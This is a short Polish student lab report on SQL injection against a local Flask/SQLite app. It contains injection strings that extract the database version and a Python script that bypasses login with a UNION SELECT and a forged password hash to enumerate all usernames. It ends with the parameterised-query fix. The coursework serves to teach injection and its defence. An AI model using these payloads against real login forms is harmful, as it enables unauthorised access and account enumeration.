Sprawozdanie 8

311192 Ciszewski Jakub

Zadania:

```
1 ) '+(select sqlite_version())+'
2 ) '+(select sqlite_version())+'</p>'), ('john', '<p>ABBA
```

3)

```
import requests
from bs4 import BeautifulSoup

chars = ['']
for i in range(ord("a"), ord("z")):
    chars.append(chr(i))

session = requests.Session()


def get_user(username):
    headers = {'User-Agent': 'Mozilla/5.0'}
    payload = {'username': f'{username}', 'password': 'bob'}

    obj = session.post(url, headers=headers, data=payload)
    user = ""
    if obj.status_code == 200:
        soup = BeautifulSoup(obj.content, "html.parser")
        user = soup.select("h1")[0].text.strip().lstrip("Hello
").rstrip("!")
    return obj.status_code, user


def find_user(its: int):
    code, user = get_user(query.format(it=its))
    if code == 200:
        return user
    else:
        print(code)
    raise ValueError("user not found")


url = "http://localhost:5000/"
query = """'UNION ALL SELECT username,""" + \
        """
"$5$rounds=535000$.ROSR8G85oGIbzaj$u653w8l1TjlIj4nQkkt3sMYRF7NAhUJ/ZMTdSPyH
737" """ + \
        """  FROM user WHERE rowid={it}--"""
if __name__ == "__main__":
    users = []
    it = 1
    while 1:
        try:
            users.append(find_user(it))
            it += 1
        except ValueError:
```

```
            break
    print(users)
```

4)

```
# ds = f"SELECT username, password FROM user WHERE username = '{username}'"
#NOT_SAFE
ds = "SELECT username, password FROM user WHERE username = ?"
print(ds)
# sql.execute(ds)#NOT_SAFE
sql.execute(ds, [username])
```